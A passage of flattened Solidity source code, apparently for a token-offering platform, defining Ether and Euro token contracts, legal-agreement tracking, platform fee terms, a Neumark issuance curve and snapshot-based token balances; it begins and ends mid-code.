0x9fe43636e0675246c99e96d7abf9f858f518b9442c35166d87f0934abef8a969; bytes32 internal constant ROLE_TOKEN_RATE_ORACLE = 0xa80c3a0c8a5324136e4c806a778583a2a980f378bdd382921b8d28dcfe965585; bytes32 internal constant ROLE_DISBURSER = 0xd7ea6093d11d866c9e8449f8bffd9da1387c530ee40ad54f0641425bb0ca33b7; bytes32 internal constant ROLE_DISBURSAL_MANAGER = 0x677f87f7b7ef7c97e42a7e6c85c295cf020c9f11eea1e49f6bf847d7aeae1475; } contract IBasicToken { event Transfer( address indexed from, address indexed to, uint256 amount ); function totalSupply() public constant returns (uint256); function balanceOf(address owner) public constant returns (uint256 balance); function transfer(address to, uint256 amount) public returns (bool success); } contract Reclaimable is AccessControlled, AccessRoles { IBasicToken constant internal RECLAIM_ETHER = IBasicToken(0x0); function reclaim(IBasicToken token) public only(ROLE_RECLAIMER) { address reclaimer = msg.sender; if(token == RECLAIM_ETHER) { reclaimer.transfer(address(this).balance); } else { uint256 balance = token.balanceOf(this); require(token.transfer(reclaimer, balance)); } } } contract ITokenMetadata { function symbol() public constant returns (string); function name() public constant returns (string); function decimals() public constant returns (uint8); } contract TokenMetadata is ITokenMetadata { string private NAME; string private SYMBOL; uint8 private DECIMALS; string private VERSION; constructor( string tokenName, uint8 decimalUnits, string tokenSymbol, string version ) public { NAME = tokenName; SYMBOL = tokenSymbol; DECIMALS = decimalUnits; VERSION = version; } function name() public constant returns (string) { return NAME; } function symbol() public constant returns (string) { return SYMBOL; } function decimals() public constant returns (uint8) { return DECIMALS; } function version() public constant returns (string) { return VERSION; } } contract MTokenAllowanceController { function mOnApprove( address owner, address spender, uint256 amount ) internal returns (bool allow); function mAllowanceOverride( address owner, address spender ) internal constant returns (uint256 allowance); } contract MTokenTransferController { function mOnTransfer( address from, address to, uint256 amount ) internal returns (bool allow); } contract MTokenController is MTokenTransferController, MTokenAllowanceController { } contract TrustlessTokenController is MTokenController { function mOnTransfer( address , address , uint256 ) internal returns (bool allow) { return true; } function mOnApprove( address , address , uint256 ) internal returns (bool allow) { return true; } } contract IERC20Allowance { event Approval( address indexed owner, address indexed spender, uint256 amount ); function allowance(address owner, address spender) public constant returns (uint256 remaining); function approve(address spender, uint256 amount) public returns (bool success); function transferFrom(address from, address to, uint256 amount) public returns (bool success); } contract IERC20Token is IBasicToken, IERC20Allowance { } contract IERC677Callback { function receiveApproval( address from, uint256 amount, address token, bytes data ) public returns (bool success); } contract IERC677Allowance is IERC20Allowance { function approveAndCall(address spender, uint256 amount, bytes extraData) public returns (bool success); } contract IERC677Token is IERC20Token, IERC677Allowance { } contract MTokenTransfer { function mTransfer( address from, address to, uint256 amount ) internal; } contract BasicToken is MTokenTransfer, MTokenTransferController, IBasicToken, Math { mapping(address => uint256) internal _balances; uint256 internal _totalSupply; function transfer(address to, uint256 amount) public returns (bool) { mTransfer(msg.sender, to, amount); return true; } function totalSupply() public constant returns (uint256) { return _totalSupply; } function balanceOf(address owner) public constant returns (uint256 balance) { return _balances[owner]; } function mTransfer(address from, address to, uint256 amount) internal { require(to != address(0)); require(mOnTransfer(from, to, amount)); _balances[from] = sub(_balances[from], amount); _balances[to] = add(_balances[to], amount); emit Transfer(from, to, amount); } } contract TokenAllowance is MTokenTransfer, MTokenAllowanceController, IERC20Allowance, IERC677Token { mapping (address => mapping (address => uint256)) private _allowed; constructor() internal { } function allowance(address owner, address spender) public constant returns (uint256 remaining) { uint256 override = mAllowanceOverride(owner, spender); if (override > 0) { return override; } return _allowed[owner][spender]; } function approve(address spender, uint256 amount) public returns (bool success) { require(mOnApprove(msg.sender, spender, amount)); require((amount == 0 || _allowed[msg.sender][spender] == 0) && mAllowanceOverride(msg.sender, spender) == 0); _allowed[msg.sender][spender] = amount; emit Approval(msg.sender, spender, amount); return true; } function transferFrom(address from, address to, uint256 amount) public returns (bool success) { uint256 allowed = mAllowanceOverride(from, msg.sender); if (allowed == 0) { allowed = _allowed[from][msg.sender]; _allowed[from][msg.sender] -= amount; } require(allowed >= amount); mTransfer(from, to, amount); return true; } function approveAndCall( address spender, uint256 amount, bytes extraData ) public returns (bool success) { require(approve(spender, amount)); success = IERC677Callback(spender).receiveApproval( msg.sender, amount, this, extraData ); require(success); return true; } function mAllowanceOverride( address , address ) internal constant returns (uint256) { return 0; } } contract StandardToken is IERC20Token, BasicToken, TokenAllowance { } contract IContractId { function contractId() public pure returns (bytes32 id, uint256 version); } contract IERC223Callback { function tokenFallback(address from, uint256 amount, bytes data) public; } contract IERC223Token is IERC20Token, ITokenMetadata { function transfer(address to, uint256 amount, bytes data) public returns (bool); } contract IWithdrawableToken { function withdraw(uint256 amount) public; } contract EtherToken is IsContract, IContractId, AccessControlled, StandardToken, TrustlessTokenController, IWithdrawableToken, TokenMetadata, IERC223Token, Reclaimable { string private constant NAME = "Ether Token"; string private constant SYMBOL = "ETH-T"; uint8 private constant DECIMALS = 18; event LogDeposit( address indexed to, uint256 amount ); event LogWithdrawal( address indexed from, uint256 amount ); event LogWithdrawAndSend( address indexed from, address indexed to, uint256 amount ); constructor(IAccessPolicy accessPolicy) AccessControlled(accessPolicy) StandardToken() TokenMetadata(NAME, DECIMALS, SYMBOL, "") Reclaimable() public { } function deposit() public payable { depositPrivate(); emit Transfer(address(0), msg.sender, msg.value); } function depositAndTransfer(address transferTo, uint256 amount, bytes data) public payable { depositPrivate(); transfer(transferTo, amount, data); } function withdraw(uint256 amount) public { withdrawPrivate(amount); msg.sender.transfer(amount); } function withdrawAndSend(address sendTo, uint256 amount) public payable { require(amount >= msg.value, "NF_ET_NO_DEPOSIT"); if (amount > msg.value) { uint256 withdrawRemainder = amount - msg.value; withdrawPrivate(withdrawRemainder); } emit LogWithdrawAndSend(msg.sender, sendTo, amount); sendTo.transfer(amount); } function transfer(address to, uint256 amount, bytes data) public returns (bool) { BasicToken.mTransfer(msg.sender, to, amount); if (isContract(to)) { IERC223Callback(to).tokenFallback(msg.sender, amount, data); } return true; } function reclaim(IBasicToken token) public { require(token != RECLAIM_ETHER); Reclaimable.reclaim(token); } function contractId() public pure returns (bytes32 id, uint256 version) { return (0x75b86bc24f77738576716a36431588ae768d80d077231d1661c2bea674c6373a, 0); } function depositPrivate() private { _balances[msg.sender] = add(_balances[msg.sender], msg.value); _totalSupply = add(_totalSupply, msg.value); emit LogDeposit(msg.sender, msg.value); } function withdrawPrivate(uint256 amount) private { require(_balances[msg.sender] >= amount); _balances[msg.sender] = sub(_balances[msg.sender], amount); _totalSupply = sub(_totalSupply, amount); emit LogWithdrawal(msg.sender, amount); emit Transfer(msg.sender, address(0), amount); } } contract IEthereumForkArbiter { event LogForkAnnounced( string name, string url, uint256 blockNumber ); event LogForkSigned( uint256 blockNumber, bytes32 blockHash ); function nextForkName() public constant returns (string); function nextForkUrl() public constant returns (string); function nextForkBlockNumber() public constant returns (uint256); function lastSignedBlockNumber() public constant returns (uint256); function lastSignedBlockHash() public constant returns (bytes32); function lastSignedTimestamp() public constant returns (uint256); } contract IAgreement { event LogAgreementAccepted( address indexed accepter ); event LogAgreementAmended( address contractLegalRepresentative, string agreementUri ); function amendAgreement(string agreementUri) public; function currentAgreement() public constant returns ( address contractLegalRepresentative, uint256 signedBlockTimestamp, string agreementUri, uint256 index ); function pastAgreement(uint256 amendmentIndex) public constant returns ( address contractLegalRepresentative, uint256 signedBlockTimestamp, string agreementUri, uint256 index ); function agreementSignedAtBlock(address signatory) public constant returns (uint256 blockNo); function amendmentsCount() public constant returns (uint256); } contract Agreement is IAgreement, AccessControlled, AccessRoles { struct SignedAgreement { address contractLegalRepresentative; uint256 signedBlockTimestamp; string agreementUri; } IEthereumForkArbiter private ETHEREUM_FORK_ARBITER; SignedAgreement[] private _amendments; mapping(address => uint256) private _signatories; modifier acceptAgreement(address accepter) { acceptAgreementInternal(accepter); _; } modifier onlyLegalRepresentative(address legalRepresentative) { require(mCanAmend(legalRepresentative)); _; } constructor(IAccessPolicy accessPolicy, IEthereumForkArbiter forkArbiter) AccessControlled(accessPolicy) internal { require(forkArbiter != IEthereumForkArbiter(0x0)); ETHEREUM_FORK_ARBITER = forkArbiter; } function amendAgreement(string agreementUri) public onlyLegalRepresentative(msg.sender) { SignedAgreement memory amendment = SignedAgreement({ contractLegalRepresentative: msg.sender, signedBlockTimestamp: block.timestamp, agreementUri: agreementUri }); _amendments.push(amendment); emit LogAgreementAmended(msg.sender, agreementUri); } function ethereumForkArbiter() public constant returns (IEthereumForkArbiter) { return ETHEREUM_FORK_ARBITER; } function currentAgreement() public constant returns ( address contractLegalRepresentative, uint256 signedBlockTimestamp, string agreementUri, uint256 index ) { require(_amendments.length > 0); uint256 last = _amendments.length - 1; SignedAgreement storage amendment = _amendments[last]; return ( amendment.contractLegalRepresentative, amendment.signedBlockTimestamp, amendment.agreementUri, last ); } function pastAgreement(uint256 amendmentIndex) public constant returns ( address contractLegalRepresentative, uint256 signedBlockTimestamp, string agreementUri, uint256 index ) { SignedAgreement storage amendment = _amendments[amendmentIndex]; return ( amendment.contractLegalRepresentative, amendment.signedBlockTimestamp, amendment.agreementUri, amendmentIndex ); } function agreementSignedAtBlock(address signatory) public constant returns (uint256 blockNo) { return _signatories[signatory]; } function amendmentsCount() public constant returns (uint256) { return _amendments.length; } function acceptAgreementInternal(address accepter) internal { if(_signatories[accepter] == 0) { require(_amendments.length > 0); _signatories[accepter] = block.number; emit LogAgreementAccepted(accepter); } } function mCanAmend(address legalRepresentative) internal returns (bool) { return accessPolicy().allowed(legalRepresentative, ROLE_PLATFORM_OPERATOR_REPRESENTATIVE, this, msg.sig); } } contract ITokenController { function onTransfer(address broker, address from, address to, uint256 amount) public constant returns (bool allow); function onApprove(address owner, address spender, uint256 amount) public constant returns (bool allow); function onGenerateTokens(address sender, address owner, uint256 amount) public constant returns (bool allow); function onDestroyTokens(address sender, address owner, uint256 amount) public constant returns (bool allow); function onChangeTokenController(address sender, address newController) public constant returns (bool); function onAllowance(address owner, address spender) public constant returns (uint256 allowanceOverride); } contract ITokenControllerHook { event LogChangeTokenController( address oldController, address newController, address by ); function changeTokenController(address newController) public; function tokenController() public constant returns (address currentController); } contract EuroToken is Agreement, IERC677Token, StandardToken, IWithdrawableToken, ITokenControllerHook, TokenMetadata, IERC223Token, IsContract, IContractId { string private constant NAME = "Euro Token"; string private constant SYMBOL = "EUR-T"; uint8 private constant DECIMALS = 18; ITokenController private _tokenController; event LogDeposit( address indexed to, address by, uint256 amount, bytes32 reference ); event LogWithdrawal( address indexed from, uint256 amount ); event LogWithdrawSettled( address from, address by, uint256 amount, uint256 originalAmount, bytes32 withdrawTxHash, bytes32 reference ); event LogDestroy( address indexed from, address by, uint256 amount ); modifier onlyIfDepositAllowed(address to, uint256 amount) { require(_tokenController.onGenerateTokens(msg.sender, to, amount)); _; } modifier onlyIfWithdrawAllowed(address from, uint256 amount) { require(_tokenController.onDestroyTokens(msg.sender, from, amount)); _; } constructor( IAccessPolicy accessPolicy, IEthereumForkArbiter forkArbiter, ITokenController tokenController ) Agreement(accessPolicy, forkArbiter) StandardToken() TokenMetadata(NAME, DECIMALS, SYMBOL, "") public { require(tokenController != ITokenController(0x0)); _tokenController = tokenController; } function deposit(address to, uint256 amount, bytes32 reference) public only(ROLE_EURT_DEPOSIT_MANAGER) onlyIfDepositAllowed(to, amount) acceptAgreement(to) { require(to != address(0)); _balances[to] = add(_balances[to], amount); _totalSupply = add(_totalSupply, amount); emit LogDeposit(to, msg.sender, amount, reference); emit Transfer(address(0), to, amount); } function depositMany(address[] to, uint256[] amount, bytes32[] reference) public { require(to.length == amount.length); require(to.length == reference.length); for (uint256 i = 0; i < to.length; i++) { deposit(to[i], amount[i], reference[i]); } } function withdraw(uint256 amount) public onlyIfWithdrawAllowed(msg.sender, amount) acceptAgreement(msg.sender) { destroyTokensPrivate(msg.sender, amount); emit LogWithdrawal(msg.sender, amount); } function settleWithdraw(address from, uint256 amount, uint256 originalAmount, bytes32 withdrawTxHash, bytes32 reference) public only(ROLE_EURT_DEPOSIT_MANAGER) { emit LogWithdrawSettled(from, msg.sender, amount, originalAmount, withdrawTxHash, reference); } function destroy(address owner, uint256 amount) public only(ROLE_EURT_LEGAL_MANAGER) { destroyTokensPrivate(owner, amount); emit LogDestroy(owner, msg.sender, amount); } function changeTokenController(address newController) public { require(_tokenController.onChangeTokenController(msg.sender, newController)); _tokenController = ITokenController(newController); emit LogChangeTokenController(_tokenController, newController, msg.sender); } function tokenController() public constant returns (address) { return _tokenController; } function transfer(address to, uint256 amount, bytes data) public returns (bool success) { return ierc223TransferInternal(msg.sender, to, amount, data); } function depositAndTransfer( address depositTo, address transferTo, uint256 depositAmount, uint256 transferAmount, bytes data, bytes32 reference ) public returns (bool success) { deposit(depositTo, depositAmount, reference); return ierc223TransferInternal(depositTo, transferTo, transferAmount, data); } function contractId() public pure returns (bytes32 id, uint256 version) { return (0xfb5c7e43558c4f3f5a2d87885881c9b10ff4be37e3308579c178bf4eaa2c29cd, 0); } function mOnTransfer( address from, address to, uint256 amount ) internal acceptAgreement(from) returns (bool allow) { address broker = msg.sender; if (broker != from) { bool isDepositor = accessPolicy().allowed(msg.sender, ROLE_EURT_DEPOSIT_MANAGER, this, msg.sig); if (isDepositor) { broker = from; } } return _tokenController.onTransfer(broker, from, to, amount); } function mOnApprove( address owner, address spender, uint256 amount ) internal acceptAgreement(owner) returns (bool allow) { return _tokenController.onApprove(owner, spender, amount); } function mAllowanceOverride( address owner, address spender ) internal constant returns (uint256) { return _tokenController.onAllowance(owner, spender); } function mCanAmend(address legalRepresentative) internal returns (bool) { return accessPolicy().allowed(legalRepresentative, ROLE_EURT_LEGAL_MANAGER, this, msg.sig); } function destroyTokensPrivate(address owner, uint256 amount) private { require(_balances[owner] >= amount); _balances[owner] = sub(_balances[owner], amount); _totalSupply = sub(_totalSupply, amount); emit Transfer(owner, address(0), amount); } function ierc223TransferInternal(address from, address to, uint256 amount, bytes data) private returns (bool success) { BasicToken.mTransfer(from, to, amount); if (isContract(to)) { IERC223Callback(to).tokenFallback(from, amount, data); } return true; } } contract PlatformTerms is Math, IContractId { uint256 public constant PLATFORM_FEE_FRACTION = 3 * 10**16; uint256 public constant TOKEN_PARTICIPATION_FEE_FRACTION = 2 * 10**16; uint256 public constant PLATFORM_NEUMARK_SHARE = 2; bool public constant IS_ICBM_INVESTOR_WHITELISTED = true; uint256 public constant MIN_TICKET_EUR_ULPS = 100 * 10**18; uint256 public constant DATE_TO_WHITELIST_MIN_DURATION = 7 days; uint256 public constant TOKEN_RATE_EXPIRES_AFTER = 4 hours; uint256 public constant MIN_WHITELIST_DURATION = 0 days; uint256 public constant MAX_WHITELIST_DURATION = 30 days; uint256 public constant MIN_PUBLIC_DURATION = 0 days; uint256 public constant MAX_PUBLIC_DURATION = 60 days; uint256 public constant MIN_OFFER_DURATION = 1 days; uint256 public constant MAX_OFFER_DURATION = 90 days; uint256 public constant MIN_SIGNING_DURATION = 14 days; uint256 public constant MAX_SIGNING_DURATION = 60 days; uint256 public constant MIN_CLAIM_DURATION = 7 days; uint256 public constant MAX_CLAIM_DURATION = 30 days; uint256 public constant DEFAULT_DISBURSAL_RECYCLE_AFTER_DURATION = 4 * 365 days; function calculateNeumarkDistribution(uint256 rewardNmk) public pure returns (uint256 platformNmk, uint256 investorNmk) { platformNmk = rewardNmk / PLATFORM_NEUMARK_SHARE; return (platformNmk, rewardNmk - platformNmk); } function calculatePlatformTokenFee(uint256 tokenAmount) public pure returns (uint256) { return proportion(tokenAmount, TOKEN_PARTICIPATION_FEE_FRACTION, 10**18); } function calculatePlatformFee(uint256 amount) public pure returns (uint256) { return decimalFraction(amount, PLATFORM_FEE_FRACTION); } function contractId() public pure returns (bytes32 id, uint256 version) { return (0x95482babc4e32de6c4dc3910ee7ae62c8e427efde6bc4e9ce0d6d93e24c39323, 1); } } contract Serialization { function decodeAddress(bytes b) internal pure returns (address a) { require(b.length == 20); assembly { a := and(mload(add(b, 20)), 0x00FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF) } } function decodeAddressUInt256(bytes b) internal pure returns (address a, uint256 i) { require(b.length == 52); assembly { a := and(mload(add(b, 20)), 0x00FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF) i := mload(add(b, 52)) } } } contract IERC223LegacyCallback { function onTokenTransfer(address from, uint256 amount, bytes data) public; } contract IFeeDisbursal is IERC223Callback { function claim() public; function recycle() public; } contract IFeeDisbursalController is IContractId { function onAccept(address , address , address claimer) public constant returns (bool allow); function onReject(address , address , address claimer) public constant returns (bool allow); function onDisburse(address token, address disburser, uint256 amount, address proRataToken, uint256 recycleAfterPeriod) public constant returns (bool allow); function onRecycle(address token, address , address[] investors, uint256 until) public constant returns (bool allow); function onChangeFeeDisbursalController(address sender, IFeeDisbursalController newController) public constant returns (bool); } contract ITokenSnapshots { function totalSupplyAt(uint256 snapshotId) public constant returns(uint256); function balanceOfAt(address owner, uint256 snapshotId) public constant returns (uint256); function currentSnapshotId() public constant returns (uint256); } contract IdentityRecord { struct IdentityClaims { bool isVerified; bool isSophisticatedInvestor; bool hasBankAccount; bool accountFrozen; } function deserializeClaims(bytes32 data) internal pure returns (IdentityClaims memory claims) { assembly { mstore(claims, and(data, 0x1)) mstore(add(claims, 0x20), div(and(data, 0x2), 0x2)) mstore(add(claims, 0x40), div(and(data, 0x4), 0x4)) mstore(add(claims, 0x60), div(and(data, 0x8), 0x8)) } } } contract IIdentityRegistry { event LogSetClaims( address indexed identity, bytes32 oldClaims, bytes32 newClaims ); function getClaims(address identity) public constant returns (bytes32); function setClaims(address identity, bytes32 oldClaims, bytes32 newClaims) public; } contract NeumarkIssuanceCurve { uint256 private constant NEUMARK_CAP = 1500000000000000000000000000; uint256 private constant INITIAL_REWARD_FRACTION = 6500000000000000000; uint256 private constant ISSUANCE_LIMIT_EUR_ULPS = 8300000000000000000000000000; uint256 private constant LINEAR_APPROX_LIMIT_EUR_ULPS = 2100000000000000000000000000; uint256 private constant NEUMARKS_AT_LINEAR_LIMIT_ULPS = 1499832501287264827896539871; uint256 private constant TOT_LINEAR_NEUMARKS_ULPS = NEUMARK_CAP - NEUMARKS_AT_LINEAR_LIMIT_ULPS; uint256 private constant TOT_LINEAR_EUR_ULPS = ISSUANCE_LIMIT_EUR_ULPS - LINEAR_APPROX_LIMIT_EUR_ULPS; function incremental(uint256 totalEuroUlps, uint256 euroUlps) public pure returns (uint256 neumarkUlps) { require(totalEuroUlps + euroUlps >= totalEuroUlps); uint256 from = cumulative(totalEuroUlps); uint256 to = cumulative(totalEuroUlps + euroUlps); assert(to >= from); return to - from; } function incrementalInverse(uint256 totalEuroUlps, uint256 burnNeumarkUlps) public pure returns (uint256 euroUlps) { uint256 totalNeumarkUlps = cumulative(totalEuroUlps); require(totalNeumarkUlps >= burnNeumarkUlps); uint256 fromNmk = totalNeumarkUlps - burnNeumarkUlps; uint newTotalEuroUlps = cumulativeInverse(fromNmk, 0, totalEuroUlps); assert(totalEuroUlps >= newTotalEuroUlps); return totalEuroUlps - newTotalEuroUlps; } function incrementalInverse(uint256 totalEuroUlps, uint256 burnNeumarkUlps, uint256 minEurUlps, uint256 maxEurUlps) public pure returns (uint256 euroUlps) { uint256 totalNeumarkUlps = cumulative(totalEuroUlps); require(totalNeumarkUlps >= burnNeumarkUlps); uint256 fromNmk = totalNeumarkUlps - burnNeumarkUlps; uint newTotalEuroUlps = cumulativeInverse(fromNmk, minEurUlps, maxEurUlps); assert(totalEuroUlps >= newTotalEuroUlps); return totalEuroUlps - newTotalEuroUlps; } function cumulative(uint256 euroUlps) public pure returns(uint256 neumarkUlps) { if (euroUlps >= ISSUANCE_LIMIT_EUR_ULPS) { return NEUMARK_CAP; } if (euroUlps >= LINEAR_APPROX_LIMIT_EUR_ULPS) { return NEUMARKS_AT_LINEAR_LIMIT_ULPS + (TOT_LINEAR_NEUMARKS_ULPS * (euroUlps - LINEAR_APPROX_LIMIT_EUR_ULPS)) / TOT_LINEAR_EUR_ULPS; } uint256 d = 230769230769230769230769231; uint256 term = NEUMARK_CAP; uint256 sum = 0; uint256 denom = d; do assembly { term := div(mul(term, euroUlps), denom) sum := add(sum, term) denom := add(denom, d) term := div(mul(term, euroUlps), denom) sum := sub(sum, term) denom := add(denom, d) } while (term != 0); return sum; } function cumulativeInverse(uint256 neumarkUlps, uint256 minEurUlps, uint256 maxEurUlps) public pure returns (uint256 euroUlps) { require(maxEurUlps >= minEurUlps); require(cumulative(minEurUlps) <= neumarkUlps); require(cumulative(maxEurUlps) >= neumarkUlps); uint256 min = minEurUlps; uint256 max = maxEurUlps; while (max > min) { uint256 mid = (max + min) / 2; uint256 val = cumulative(mid); if (val < neumarkUlps) { min = mid + 1; } else { max = mid; } } return max; } function neumarkCap() public pure returns (uint256) { return NEUMARK_CAP; } function initialRewardFraction() public pure returns (uint256) { return INITIAL_REWARD_FRACTION; } } contract ISnapshotable { event LogSnapshotCreated(uint256 snapshotId); function createSnapshot() public returns (uint256); function currentSnapshotId() public constant returns (uint256); } contract MSnapshotPolicy { function mAdvanceSnapshotId() internal returns (uint256); function mCurrentSnapshotId() internal constant returns (uint256); } contract Daily is MSnapshotPolicy { uint256 private MAX_TIMESTAMP = 3938453320844195178974243141571391; constructor(uint256 start) internal { if (start > 0) { uint256 base = dayBase(uint128(block.timestamp)); require(start >= base); require(start < base + 2**128); } } function snapshotAt(uint256 timestamp) public constant returns (uint256) { require(timestamp < MAX_TIMESTAMP); return dayBase(uint128(timestamp)); } function mAdvanceSnapshotId() internal returns (uint256) { return mCurrentSnapshotId(); } function mCurrentSnapshotId() internal constant returns (uint256) { return dayBase(uint128(block.timestamp)); } function dayBase(uint128 timestamp) internal pure returns (uint256) { return 2**128 * (uint256(timestamp) / 1 days); } } contract DailyAndSnapshotable is Daily, ISnapshotable { uint256 private _currentSnapshotId; constructor(uint256 start) internal Daily(start) { if (start > 0) { _currentSnapshotId = start; } } function createSnapshot() public returns (uint256) { uint256 base = dayBase(uint128(block.timestamp)); if (base > _currentSnapshotId) { _currentSnapshotId = base; } else { _currentSnapshotId += 1; } emit LogSnapshotCreated(_currentSnapshotId); return _currentSnapshotId; } function mAdvanceSnapshotId() internal returns (uint256) { uint256 base = dayBase(uint128(block.timestamp)); if (base > _currentSnapshotId) { _currentSnapshotId = base; emit LogSnapshotCreated(base); } return _currentSnapshotId; } function mCurrentSnapshotId() internal constant returns (uint256) { uint256 base = dayBase(uint128(block.timestamp)); return base > _currentSnapshotId ? base : _currentSnapshotId; } } contract Snapshot is MSnapshotPolicy { struct Values { uint256 snapshotId; uint256 value; } function hasValue( Values[] storage values ) internal constant returns (bool) { return values.length > 0; } function hasValueAt( Values[] storage values, uint256 snapshotId ) internal constant returns (bool) { require(snapshotId <= mCurrentSnapshotId()); return values.length > 0 && values[0].snapshotId <= snapshotId; } function getValue( Values[] storage values, uint256 defaultValue ) internal constant returns (uint256) { if (values.length == 0) { return defaultValue; } else { uint256 last = values.length - 1; return values[last].value; } } function getValueAt( Values[] storage values, uint256 snapshotId, uint256 defaultValue ) internal constant returns (uint256) { require(snapshotId <= mCurrentSnapshotId()); if (values.length == 0) { return defaultValue; } uint256 last = values.length - 1; uint256 lastSnapshot = values[last].snapshotId; if (snapshotId >= lastSnapshot) { return values[last].value; } uint256 firstSnapshot = values[0].snapshotId; if (snapshotId < firstSnapshot) { return defaultValue; } uint256 min = 0; uint256 max = last; while (max > min) { uint256 mid = (max + min + 1) / 2; if (values[mid].snapshotId <= snapshotId) { min = mid; } else { max = mid - 1; } } return values[min].value; } function setValue( Values[] storage values, uint256 value ) internal { uint256 currentSnapshotId = mAdvanceSnapshotId(); bool empty = values.length == 0; if (empty) { values.push( Values({ snapshotId: currentSnapshotId, value: value }) ); return; } uint256 last = values.length - 1; bool hasNewSnapshot = values[last].snapshotId < currentSnapshotId; if (hasNewSnapshot) { bool unmodified = values[last].value == value; if (unmodified) { return; } values.push( Values({ snapshotId: currentSnapshotId, value: value }) ); } else { bool previousUnmodified = last > 0 && values[last - 1].value == value; if (previousUnmodified) { delete values[last]; values.length--; return; } values[last].value = value; } } } contract IClonedTokenParent is ITokenSnapshots { function parentToken() public constant returns(IClonedTokenParent parent); function parentSnapshotId() public constant returns(uint256 snapshotId); } contract BasicSnapshotToken is MTokenTransfer, MTokenTransferController, IClonedTokenParent, IBasicToken, Snapshot { IClonedTokenParent private PARENT_TOKEN; uint256 private PARENT_SNAPSHOT_ID; mapping (address => Values[]) internal _balances; Values[] internal _totalSupplyValues; constructor( IClonedTokenParent parentToken, uint256 parentSnapshotId ) Snapshot() internal { PARENT_TOKEN = parentToken; if (parentToken == address(0)) { require(parentSnapshotId == 0); } else { if (parentSnapshotId == 0) { require(parentToken.currentSnapshotId() > 0); PARENT_SNAPSHOT_ID = parentToken.currentSnapshotId() - 1; } else { PARENT_SNAPSHOT_ID = parentSnapshotId; } } } function totalSupply() public constant returns (uint256) { return totalSupplyAtInternal(mCurrentSnapshotId()); } function balanceOf(address owner) public constant returns (uint256 balance) { return balanceOfAtInternal(owner, mCurrentSnapshotId()); } function transfer(address to, uint256 amount) public returns (bool success) { mTransfer(msg.sender, to, amount); return true; } function totalSupplyAt(uint256 snapshotId) public constant returns(uint256) { return totalSupplyAtInternal(snapshotId); } function balanceOfAt(address owner, uint256 snapshotId) public constant returns (uint256) { return balanceOfAtInternal(owner, snapshotId); } function currentSnapshotId() public constant returns (uint256) { return mCurrentSnapshotId(); } function parentToken() public constant returns(IClonedTokenParent parent) { return PARENT_TOKEN; } function parentSnapshotId() public constant returns(uint256 snapshotId) { return PARENT_SNAPSHOT_ID; } function allBalancesOf(address owner) external constant returns (uint256[2][]) { Values[] storage values = _balances[owner]; uint256[2][] memory balances = new uint256[2][](values.length); for(uint256 ii = 0; ii < values.length; ++ii) { balances[ii] = [values[ii].snapshotId, values[ii].value]; } return balances; } function totalSupplyAtInternal(uint256 snapshotId) internal constant returns(uint256) { Values[] storage values = _totalSupplyValues; if (hasValueAt(values, snapshotId)) { return getValueAt(values, snapshotId, 0); } if (address(PARENT_TOKEN) != 0) { uint256 earlierSnapshotId = PARENT_SNAPSHOT_ID > snapshotId ? snapshotId : PARENT_SNAPSHOT_ID; return PARENT_TOKEN.totalSupplyAt(earlierSnapshotId); } return 0; } function balanceOfAtInternal(address owner, uint256 snapshotId) internal constant returns (uint256) { Values[] storage values = _balances[owner]; if (hasValueAt(values, snapshotId)) { return getValueAt(values, snapshotId, 0); } if (PARENT_TOKEN != address(0)) { uint256 earlierSnapshotId = PARENT_SNAPSHOT_ID > snapshotId ? snapshotId : PARENT_SNAPSHOT_ID; return PARENT_TOKEN.balanceOfAt(owner, earlierSnapshotId); } return 0; } function mTransfer( address from, address to, uint256 amount ) internal { require(to != address(0)); require(parentToken() == address(0) || parentSnapshotId() < parentToken().currentSnapshotId()); require(mOnTransfer(from, to, amount)); uint256 previousBalanceFrom = balanceOf(from); require(previousBalanceFrom >= amount); uint256 newBalanceFrom = previousBalanceFrom - amount; setValue(_balances[from], newBalanceFrom); uint256 previousBalanceTo = balanceOf(to); uint256 newBalanceTo = previousBalanceTo + amount; assert(newBalanceTo >= previousBalanceTo); setValue(_balances[to], newBalanceTo); emit Transfer(from, to, amount); } } contract MTokenMint { function mGenerateTokens(address owner, uint256 amount) internal; function mDestroyTokens(address owner, uint256 amount) internal; } contract MintableSnapshotToken is BasicSnapshotToken, MTokenMint { constructor( IClonedTokenParent parentToken, uint256 parentSnapshotId ) BasicSnapshotToken(parentToken, parentSnapshotId) internal {} function mGenerateTokens(address owner, uint256 amount) internal { require(owner != address(0)); require(parentToken() == address(0) || parentSnapshotId() < parentToken().currentSnapshotId()); uint256 curTotalSupply = totalSupply(); uint256 newTotalSupply = curTotalSupply + amount; require(newTotalSupply >= curTotalSupply); uint256 previousBalanceTo = balanceOf(owner); uint256 newBalanceTo = previousBalanceTo + amount; assert(newBalanceTo >= previousBalanceTo); setValue(_totalSupplyValues, newTotalSupply); setValue(_balances[owner], newBalanceTo); emit Transfer(0, owner, amount); } function mDestroyTokens(address owner, uint256 amount) internal { require(parentToken() == address(0) || parentSnapshotId() < parentToken().currentSnapshotId()); uint256 curTotalSupply = totalSupply(); require(curTotalSupply >= amount); uint256 previousBalanceFrom = balanceOf(owner); require(previousBalanceFrom >= amount); uint256 newTotalSupply = curTotalSupply - amount; uint256 newBalanceFrom = previousBalanceFrom - amount; setValue(_totalSupplyValues, newTotalSupply); setValue(_balances[owner], newBalanceFrom); emit Transfer(owner, 0, amount); } } contract StandardSnapshotToken is MintableSnapshotToken, TokenAllowance { constructor( IClonedTokenParent parentToken, uint256 parentSnapshotId ) MintableSnapshotToken(parentToken, parentSnapshotId) TokenAllowance() internal {} } contract Neumark is AccessControlled, AccessRoles, Agreement, DailyAndSnapshotable, StandardSnapshotToken, TokenMetadata, IERC223Token, NeumarkIssuanceCurve, Reclaimable, IsContract { string private constant TOKEN_NAME = "Neumark"; uint8 private constant TOKEN_DECIMALS = 18; string private constant TOKEN_SYMBOL = "NEU"; string private constant VERSION = "NMK_1.0"; bool private _transferEnabled = false; uint256 private _totalEurUlps; event LogNeumarksIssued( address indexed owner, uint256 euroUlps, uint256 neumarkUlps ); event LogNeumarksBurned( address indexed owner, uint256 euroUlps, uint256 neumarkUlps ); constructor( IAccessPolicy accessPolicy, IEthereumForkArbiter forkArbiter ) AccessRoles() Agreement(accessPolicy, forkArbiter) StandardSnapshotToken( IClonedTokenParent(0x0), 0 ) TokenMetadata( TOKEN_NAME, TOKEN_DECIMALS, TOKEN_SYMBOL, VERSION ) DailyAndSnapshotable(0) NeumarkIssuanceCurve() Reclaimable() public 